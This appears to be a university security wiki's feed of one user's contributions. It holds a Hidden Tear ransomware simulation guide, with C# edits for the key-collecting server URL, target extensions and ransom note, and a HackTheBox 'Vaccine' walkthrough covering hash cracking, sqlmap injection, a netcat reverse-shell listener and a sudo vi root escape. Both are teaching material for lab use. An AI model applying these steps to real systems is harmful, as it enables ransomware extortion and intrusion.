<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://elvis.hcw.ac.at/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=CNinaus</id>
	<title>Elvis Wiki - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://elvis.hcw.ac.at/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=CNinaus"/>
	<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php/Special:Contributions/CNinaus"/>
	<updated>2026-09-10T15:36:10Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.41.5</generator>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Ransomware_Simulation_(Hidden_Tear)&amp;diff=17886</id>
		<title>Ransomware Simulation (Hidden Tear)</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Ransomware_Simulation_(Hidden_Tear)&amp;diff=17886"/>
		<updated>2025-01-20T20:33:51Z</updated>

		<summary type="html">&lt;p&gt;CNinaus: Created page with &amp;quot;== Introduction ==   Ransomware is a type of malicious software designed to encrypt files or block access to systems until a ransom is paid, often in cryptocurrency like Bitcoin. Ransomware has evolved significantly over time and can be categorized into two main types:  *&amp;#039;&amp;#039;&amp;#039;Locker Ransomware:&amp;#039;&amp;#039;&amp;#039; Locks access to the entire system or device. *&amp;#039;&amp;#039;&amp;#039;Crypto Ransomware:&amp;#039;&amp;#039;&amp;#039; Encrypts specific files, rendering them inaccessible without a decryption key.  The global damage caused by...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction == &lt;br /&gt;
&lt;br /&gt;
Ransomware is a type of malicious software designed to encrypt files or block access to systems until a ransom is paid, often in cryptocurrency like Bitcoin. Ransomware has evolved significantly over time and can be categorized into two main types:&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;Locker Ransomware:&#039;&#039;&#039; Locks access to the entire system or device.&lt;br /&gt;
*&#039;&#039;&#039;Crypto Ransomware:&#039;&#039;&#039; Encrypts specific files, rendering them inaccessible without a decryption key.&lt;br /&gt;
&lt;br /&gt;
The global damage caused by ransomware attacks has reached staggering figures, with costs estimated to exceed billions of dollars annually. These damages include ransom payments, downtime, data loss, and recovery expenses, highlighting the severe impact ransomware can have on businesses and individuals. The evolution of ransomware dates back to the first known example, the AIDS Trojan in 1989, which was distributed via floppy disks. Over the years, ransomware has become more sophisticated, with notable examples like CryptoLocker (2013), WannaCry (2017), and modern variants such as Ryuk and Conti targeting critical infrastructure and large organizations.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Typical Ways of Infection ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;Phishing Emails:&#039;&#039;&#039; Malicious attachments or links trick users into executing ransomware.&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;Drive-by Downloads:&#039;&#039;&#039; Visiting compromised websites results in automatic malware downloads.&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;Insecure Remote Desktop Protocols (RDP):&#039;&#039;&#039; Exploiting weak passwords or open ports.&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;Infected USB Devices:&#039;&#039;&#039; Malware spreads through external storage devices.&lt;br /&gt;
&lt;br /&gt;
Once a system is infected, ransomware typically leaves behind various artefacts, such as:&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;Encrypted Files:&#039;&#039;&#039; Files are renamed with unusual extensions (e.g., .crypt or .lock).&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;Ransom Notes:&#039;&#039;&#039; Instructions for paying the ransom, often in text files (e.g., README.txt or DECRYPT_INSTRUCTIONS.txt).&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;System Modifications:&#039;&#039;&#039; Changes to registry keys, scheduled tasks, or startup entries to maintain persistence.&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;Network Activity:&#039;&#039;&#039; Evidence of communication with Command-and-Control (C2) servers, often through encrypted or TOR-based channels.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Purpose of a Simulation ==&lt;br /&gt;
&lt;br /&gt;
Conducting a ransomware simulation using a tool like Hidden Tear serves several critical purposes:&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;Testing Security Infrastructure:&#039;&#039;&#039; Identifying vulnerabilities in existing systems and defenses.&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;Training Personnel:&#039;&#039;&#039; Providing hands-on experience for IT and non-IT staff to recognize and respond to ransomware incidents.&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;Improving Incident Response:&#039;&#039;&#039; Allowing teams to practice containment, eradication, and recovery processes in a controlled environment.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== What is Hidden Tear? ==&lt;br /&gt;
&lt;br /&gt;
Hidden Tear is an open-source ransomware project developed for educational purposes. It demonstrates the principles of file encryption and ransom demands in a controlled, non-malicious manner. Hidden Tear encrypts files on a target system using basic cryptographic techniques and displays a ransom note, making it a suitable tool for safe simulations.&lt;br /&gt;
&lt;br /&gt;
== Step-by-Step Guide: Ransomware Simulation with Hidden Tear ==&lt;br /&gt;
&lt;br /&gt;
=== Setting up the Environment ===&lt;br /&gt;
&lt;br /&gt;
First you create the victims machine, on which the HiddenTear Ransomware will be installed and configured:&lt;br /&gt;
#Install Virtualization Software like [https://de.wikipedia.org/wiki/VirtualBox VirtualBox] on your main machine.&lt;br /&gt;
#Set up a new virtual machine and install Windows (e.g., Windows 10)&amp;lt;ref&amp;gt;[https://www.youtube.com/watch?v=CMGa6DsGIpc&amp;amp;ab_channel=TopNotchProgrammer Install Windows 10 on VirtualBox]&amp;lt;/ref&amp;gt;, be sure to assign enough resources to the VM (e.g., 2 CPUs, 4GB RAM, and 40GB disk space).&lt;br /&gt;
#After the installation, you need to configure two network adapter, one NAT-type to have internet access and second the host-only-adapter to create the isolated private network.&lt;br /&gt;
&lt;br /&gt;
[[File:NAT.png|thumb|left|500px|NAT adapter]] [[File:HostOnly.png|thumb|left|500px|Host-Only-Adapter]]&lt;br /&gt;
&amp;lt;br clear=&amp;quot;all&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now you create the Kali Linux Virtual Machine which will act as the attackers machine:&lt;br /&gt;
#Create a Kali Linux Virtual Machine, this will be the C2 server which the Ransomware sends the decryption key to.&amp;lt;ref&amp;gt;[https://www.youtube.com/watch?v=vnX1NaF4K-Q&amp;amp;ab_channel=GEEKrar Install Kali Linux on VirtualBox]&amp;lt;/ref&amp;gt;&lt;br /&gt;
#Configure it with similar resource allocations and the same network settings as the windows machine.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Next, you need to install the required tools on the VMs:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;On the windows VM:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
#Install Visual Studio Community Edition for editing and compiling the HiddenTear source code.&amp;lt;ref&amp;gt;[https://visualstudio.microsoft.com/de/ Visual Studio Official Site]&amp;lt;/ref&amp;gt;&lt;br /&gt;
#Download HiddenTear from its Github repository.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;On the Kali VM:&#039;&#039;&#039;&lt;br /&gt;
#Update and upgrade the system.&lt;br /&gt;
#Install apache2 to setup a webserver which will act as the C2-server.&lt;br /&gt;
&lt;br /&gt;
[[File:apache2.png|thumb|left|500px|Apache2 Webserver]]&lt;br /&gt;
&amp;lt;br clear=&amp;quot;all&amp;quot;&amp;gt;&lt;br /&gt;
Now ensure both VMs can communicate by configuring the host-only network. Assign static IP addresses to the VMs within the same subnet (e.g., 192.168.56.101 for Windows, 192.168.56.102 for Kali). Last but no least, you need two files on your apache2 webserver:&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;keys.php&#039;&#039;&#039;&lt;br /&gt;
*&#039;&#039;&#039;data.txt&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The &#039;&#039;&#039;keys.php&#039;&#039;&#039; file is the function that retrieves all the information from the victims machine and writes it into the &#039;&#039;&#039;data.txt&#039;&#039;&#039; file (e.g. device-name, username and decryption-password):&lt;br /&gt;
[[File:keys.png|thumb|left|500px|keys.php]]&lt;br /&gt;
&amp;lt;br clear=&amp;quot;all&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Configuring Hidden Tear ===&lt;br /&gt;
&lt;br /&gt;
Edit the source code on Windows in Visual Studi:&lt;br /&gt;
&lt;br /&gt;
#Open the &#039;&#039;&#039;Form1.cs&#039;&#039;&#039; file in Visual Studio&lt;br /&gt;
#Look for the following lines of code and change it according to your configurations and liking:&lt;br /&gt;
&lt;br /&gt;
Modify the code to send the encryption key to a server hosted on your Kali VM:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
string targetURL = &amp;quot;https://www.example.com/hidden-tear/write.php?info=&amp;quot;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Change the file extensions to your liking:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
System.IO.File.Move(file, file+&amp;quot;.locked&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Update the targetFileExtensions variable to include specific file types you wish to encrypt, such as:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
var validExtensions = new[] {&lt;br /&gt;
&amp;quot;.txt&amp;quot;, &amp;quot;.doc&amp;quot;, &amp;quot;.docx&amp;quot;, &amp;quot;.xls&amp;quot;, &amp;quot;.xlsx&amp;quot;, &amp;quot;.ppt&amp;quot;, &amp;quot;.pptx&amp;quot;, &amp;quot;.odt&amp;quot;, &amp;quot;.jpg&amp;quot;, &amp;quot;.png&amp;quot;, &amp;quot;.csv&amp;quot;, &amp;quot;.sql&amp;quot;, &amp;quot;.mdb&amp;quot;, &amp;quot;.sln&amp;quot;, &amp;quot;.php&amp;quot;, &amp;quot;.asp&amp;quot;, &amp;quot;.aspx&amp;quot;, &amp;quot;.html&amp;quot;, &amp;quot;.xml&amp;quot;, &amp;quot;.psd&amp;quot;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Declare the path to the directory which should be encrypted:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
string path = &amp;quot;\\Desktop\\test&amp;quot;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Modify the ransom note:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
string path = &amp;quot;\\Desktop\\test\\READ_IT.txt&amp;quot;;&lt;br /&gt;
string[] lines = { &amp;quot;Files has been encrypted with hidden tear&amp;quot;, &amp;quot;Send me some bitcoins&amp;quot; };&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now change all these configurations in the decrypter file (e.g. file extension) and build both projects in Visual Studio to generate the ransomware executable: &#039;&#039;&#039;hidden-tear.exe&#039;&#039;&#039; and &#039;&#039;&#039;hidden-tear-decrypter.exe&#039;&#039;&#039;, they are located in the .\bin\Debug directory.&lt;br /&gt;
&lt;br /&gt;
=== Executing the Simulation ===&lt;br /&gt;
&lt;br /&gt;
#Create a &#039;&#039;&#039;test&#039;&#039;&#039; directory on your desktop and put a &#039;&#039;&#039;.txt&#039;&#039;&#039; file with some random text into it.&lt;br /&gt;
#Run the &#039;&#039;&#039;hidden-tear.exe&#039;&#039;&#039; file&lt;br /&gt;
#Observe the encryption process, including the file renaming and creating of a ransom note.&lt;br /&gt;
#Confirm that the targeted files are encrypted and inaccessible.&lt;br /&gt;
&lt;br /&gt;
Now look into your &#039;&#039;&#039;data.txt&#039;&#039;&#039; file and check the information written into it. The last part is the randomly generated decryption password.&lt;br /&gt;
[[File:datatxt.png|thumb|left|500px|data.txt]]&lt;br /&gt;
&amp;lt;br clear=&amp;quot;all&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
At last, execute the &#039;&#039;&#039;hidden-tear-decryptor.exe&#039;&#039;&#039; file and use the password created in the &#039;&#039;&#039;data.txt&#039;&#039;&#039; file to decrypt all the files in your &#039;&#039;&#039;test&#039;&#039;&#039; directory.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://github.com/goliate/hidden-tear&lt;br /&gt;
* https://www.virtualbox.org/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>CNinaus</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:Datatxt.png&amp;diff=17879</id>
		<title>File:Datatxt.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:Datatxt.png&amp;diff=17879"/>
		<updated>2025-01-20T20:28:51Z</updated>

		<summary type="html">&lt;p&gt;CNinaus: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>CNinaus</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:Keys.png&amp;diff=17873</id>
		<title>File:Keys.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:Keys.png&amp;diff=17873"/>
		<updated>2025-01-20T20:22:43Z</updated>

		<summary type="html">&lt;p&gt;CNinaus: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>CNinaus</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:Apache2.png&amp;diff=17870</id>
		<title>File:Apache2.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:Apache2.png&amp;diff=17870"/>
		<updated>2025-01-20T19:43:48Z</updated>

		<summary type="html">&lt;p&gt;CNinaus: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>CNinaus</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:HostOnly.png&amp;diff=17869</id>
		<title>File:HostOnly.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:HostOnly.png&amp;diff=17869"/>
		<updated>2025-01-20T19:23:32Z</updated>

		<summary type="html">&lt;p&gt;CNinaus: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>CNinaus</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:NAT.png&amp;diff=17868</id>
		<title>File:NAT.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:NAT.png&amp;diff=17868"/>
		<updated>2025-01-20T19:23:23Z</updated>

		<summary type="html">&lt;p&gt;CNinaus: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>CNinaus</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=HackTheBox:_Vaccine_Room&amp;diff=17711</id>
		<title>HackTheBox: Vaccine Room</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=HackTheBox:_Vaccine_Room&amp;diff=17711"/>
		<updated>2024-12-18T22:31:36Z</updated>

		<summary type="html">&lt;p&gt;CNinaus: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:Vaccine.png|thumb|Vaccine Room&amp;lt;ref&amp;gt;HackTheBox: [https://app.hackthebox.com/starting-point?tier=2]&amp;lt;/ref&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
Vaccine is an Easy-level machine on the HackTheBox platform, designed to introduce participants to the basics of web application security, exploitation, and privilege escalation. It is an excellent starting point for beginners who want to improve their penetration testing skills and understand common web vulnerabilities in a controlled environment.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Objectives ==&lt;br /&gt;
&lt;br /&gt;
The main objectives of the Vaccine room are:&lt;br /&gt;
&lt;br /&gt;
1. Identify and exploit vulnerabilities in a web application.&lt;br /&gt;
&lt;br /&gt;
2. Gain initial foothold through web exploitation techniques.&lt;br /&gt;
&lt;br /&gt;
3. Escalate privileges to root access by analyzing misconfigurations or vulnerabilities in the system. &lt;br /&gt;
&lt;br /&gt;
== Tools and Techniques ==&lt;br /&gt;
&lt;br /&gt;
Participants may use a variety of tools to complete this room, including:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Reconnaissance tools&#039;&#039;&#039;: nmap, gobuster, dirb.&lt;br /&gt;
* &#039;&#039;&#039;Exploitation tools&#039;&#039;&#039;: Burp Suite, Metasploit (if needed), or manual payload crafting.&lt;br /&gt;
* &#039;&#039;&#039;Post-exploitation tools&#039;&#039;&#039;: linpeas, pspy, or custom scripts for local privilege escalation.&lt;br /&gt;
&lt;br /&gt;
Following techniques will be required:&lt;br /&gt;
&lt;br /&gt;
* Web application vulnerability analysis.&lt;br /&gt;
* Exploiting common misconfigurations.&lt;br /&gt;
* Utilizing tools for enumeration and exploitation.&lt;br /&gt;
* Privilege escalation techniques.&lt;br /&gt;
&lt;br /&gt;
== Walkthrough ==&lt;br /&gt;
&lt;br /&gt;
=== Reconnaissance &amp;amp; Enumeration ===&lt;br /&gt;
The first step involves scanning the target machine with nmap (nmap -sV -p &amp;lt;Target IP&amp;gt;):&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Open ports&#039;&#039;&#039;: FTP (21), SSH (22), and HTTP (80).&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;FTP&#039;&#039;&#039;: Configured to allow anonymous login.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;HTTP&#039;&#039;&#039;: Running Apache HTTPD.&lt;br /&gt;
&lt;br /&gt;
By identifying open services, we determine possible attack vectors.&lt;br /&gt;
&lt;br /&gt;
=== Exploitation ===&lt;br /&gt;
&lt;br /&gt;
Using the FTP service with the anonymous login, we retrieve a file named backup.zip.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ftp &amp;lt;target-ip&amp;gt;&lt;br /&gt;
Username: anonymous&lt;br /&gt;
Password: (any)&lt;br /&gt;
ftp&amp;gt; get backup.zip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The ZIP file is password-protected. We use zip2john to generate a hash and John the Ripper to crack it.&lt;br /&gt;
&lt;br /&gt;
Convert the ZIP to a crackable hash:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
zip2john backup.zip &amp;gt; backup.hash&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Crack the hash using rockyou.txt:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
john backup.hash --wordlist=/usr/share/wordlists/rockyou.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Password found: &#039;&#039;&#039;741852963&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Extract files:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
unzip backup.zip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Inside the ZIP, we find a PHP file (index.php). Analyzing its code reveals an MD5 hash used for login validation.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
if ($username === &amp;quot;admin&amp;quot; &amp;amp;&amp;amp; md5($password) === &amp;quot;&amp;lt;md5_hash&amp;gt;&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
We use Hashcat or online tools like CrackStation to crack the hash.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
hashcat -m 0 &amp;lt;md5_hash&amp;gt; /usr/share/wordlists/rockyou.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Password found: &#039;&#039;&#039;qwerty789&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The web application is vulnerable to SQL injection. Testing with a single quote (&#039;) returns an error, confirming the vulnerability. Using SQLMap, we automate the exploitation:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sqlmap -u &amp;quot;http://vaccine.htb/?search=&amp;quot; --dbs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Outcome: Identified databases and extracted data.&lt;br /&gt;
&lt;br /&gt;
=== Post-Exploitation ===&lt;br /&gt;
&lt;br /&gt;
Create a reverse shell payload using tools like [[https://revshells.com revshells.com]].&lt;br /&gt;
&lt;br /&gt;
Inject the payload into the SQL query or upload it via file inclusion.&lt;br /&gt;
&lt;br /&gt;
Set up a listener:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc -nlvp 1337&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Execute the payload and gain shell access.&lt;br /&gt;
&lt;br /&gt;
=== Privilege Escalation ===&lt;br /&gt;
&lt;br /&gt;
Search for misconfigurations and sensitive files, for example SUID binaries:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
find / -perm -4000 -type f 2&amp;gt;/dev/null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Analyze sudo permissions:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo -l&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Key finding: The &#039;&#039;&#039;vi&#039;&#039;&#039; binary can be run with sudo.&lt;br /&gt;
&lt;br /&gt;
Refer to [[https://gtfobins.github.io/ GTFOBins]] for escape techniques.&lt;br /&gt;
&lt;br /&gt;
Launch vi as sudo:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo vi&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Escape to a root shell:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
:! /bin/bash&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Verify root access and retrieve the flag:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
whoami&lt;br /&gt;
cat /root/root.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
The Vaccine machine demonstrates essential techniques for penetration testing:&lt;br /&gt;
&lt;br /&gt;
* Service enumeration.&lt;br /&gt;
* Password cracking with John the Ripper.&lt;br /&gt;
* SQL injection exploitation with SQLMap.&lt;br /&gt;
* Privilege escalation using sudo misconfigurations and GTFOBins.&lt;br /&gt;
&lt;br /&gt;
These skills are foundational for understanding system vulnerabilities and exploitation methods.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://hackthebox.com&lt;br /&gt;
* https://revshells.com&lt;br /&gt;
* https://gtfobins.github.io&lt;br /&gt;
* https://nmap.org&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>CNinaus</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=HackTheBox:_Vaccine_Room&amp;diff=17710</id>
		<title>HackTheBox: Vaccine Room</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=HackTheBox:_Vaccine_Room&amp;diff=17710"/>
		<updated>2024-12-18T22:30:33Z</updated>

		<summary type="html">&lt;p&gt;CNinaus: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:Vaccine.png|thumb|Vaccine Room&amp;lt;ref&amp;gt;HackTheBox: [https://app.hackthebox.com/starting-point?tier=2]&amp;lt;/ref&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
Vaccine is an Easy-level machine on the HackTheBox platform, designed to introduce participants to the basics of web application security, exploitation, and privilege escalation. It is an excellent starting point for beginners who want to improve their penetration testing skills and understand common web vulnerabilities in a controlled environment.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Objectives ==&lt;br /&gt;
&lt;br /&gt;
The main objectives of the Vaccine room are:&lt;br /&gt;
&lt;br /&gt;
1. Identify and exploit vulnerabilities in a web application.&lt;br /&gt;
&lt;br /&gt;
2. Gain initial foothold through web exploitation techniques.&lt;br /&gt;
&lt;br /&gt;
3. Escalate privileges to root access by analyzing misconfigurations or vulnerabilities in the system. &lt;br /&gt;
&lt;br /&gt;
== Tools and Techniques ==&lt;br /&gt;
&lt;br /&gt;
Participants may use a variety of tools to complete this room, including:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Reconnaissance tools&#039;&#039;&#039;: nmap, gobuster, dirb.&lt;br /&gt;
* &#039;&#039;&#039;Exploitation tools&#039;&#039;&#039;: Burp Suite, Metasploit (if needed), or manual payload crafting.&lt;br /&gt;
* &#039;&#039;&#039;Post-exploitation tools&#039;&#039;&#039;: linpeas, pspy, or custom scripts for local privilege escalation.&lt;br /&gt;
&lt;br /&gt;
Following techniques will be required:&lt;br /&gt;
&lt;br /&gt;
* Web application vulnerability analysis.&lt;br /&gt;
* Exploiting common misconfigurations.&lt;br /&gt;
* Utilizing tools for enumeration and exploitation.&lt;br /&gt;
* Privilege escalation techniques.&lt;br /&gt;
&lt;br /&gt;
== Walkthrough ==&lt;br /&gt;
&lt;br /&gt;
=== Reconnaissance &amp;amp; Enumeration ===&lt;br /&gt;
The first step involves scanning the target machine with nmap (nmap -sV -p &amp;lt;Target IP&amp;gt;):&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Open ports&#039;&#039;&#039;: FTP (21), SSH (22), and HTTP (80).&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;FTP&#039;&#039;&#039;: Configured to allow anonymous login.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;HTTP&#039;&#039;&#039;: Running Apache HTTPD.&lt;br /&gt;
&lt;br /&gt;
By identifying open services, we determine possible attack vectors.&lt;br /&gt;
&lt;br /&gt;
=== Exploitation ===&lt;br /&gt;
&lt;br /&gt;
Using the FTP service with the anonymous login, we retrieve a file named backup.zip.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ftp &amp;lt;target-ip&amp;gt;&lt;br /&gt;
Username: anonymous&lt;br /&gt;
Password: (any)&lt;br /&gt;
ftp&amp;gt; get backup.zip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The ZIP file is password-protected. We use zip2john to generate a hash and John the Ripper to crack it.&lt;br /&gt;
&lt;br /&gt;
Convert the ZIP to a crackable hash:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
zip2john backup.zip &amp;gt; backup.hash&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Crack the hash using rockyou.txt:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
john backup.hash --wordlist=/usr/share/wordlists/rockyou.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Password found: &#039;&#039;&#039;741852963&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Extract files:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
unzip backup.zip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Inside the ZIP, we find a PHP file (index.php). Analyzing its code reveals an MD5 hash used for login validation.&lt;br /&gt;
